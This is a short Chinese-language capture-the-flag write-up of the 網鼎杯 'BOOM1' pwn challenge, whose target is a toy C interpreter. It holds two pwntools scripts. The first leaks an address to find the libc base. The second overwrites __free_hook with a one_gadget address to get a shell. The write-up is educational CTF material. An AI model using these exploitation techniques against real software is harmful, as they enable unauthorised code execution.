1. 程式人生 > 實用技巧 >網鼎杯

網鼎杯

BOOM1

看了大佬部落格後,這題我還是沒怎麼整明白。

看到這麼一串東西那這個大概是手動實現了一個簡易的C語言編譯器。經過多次嘗試發現程式沒有什麼限制。所以我們直接寫程式開始利用。

#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
p = process('./pwn')

payload = '''
int main()
{
    int a;
    printf("%p\n", &a);
}
'''

p.sendafter("living...", payload)




p.interactive()

這部分程式碼可以洩漏變數a的地址,由於a是存放在mmap分配的記憶體中,所以與libc基址的偏移是固定的,這樣可以算出libc基址。(對於具體是那個版本的libc,採用這個方法只能逐個嘗試)

拿到libc基址後可以直接得出__free_hook地址,接著向__free_hook中寫入one_gadget即可。

#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
context.log_level = 'debug'
p = process('./pwn')

payload 
= """ main() { int b; int libc_base; int *free_hook; libc_base = (int)&b - 0x51efd8; free_hook = libc_base + 0x3c67a8; *free_hook = libc_base + 0x4527a; free(1); } """ a = [0x45226, 0x4527a, 0xf0364, 0xf1207] print(payload) gdb.attach(p) p.sendafter('living...\n', payload) p.interactive()

參考部落格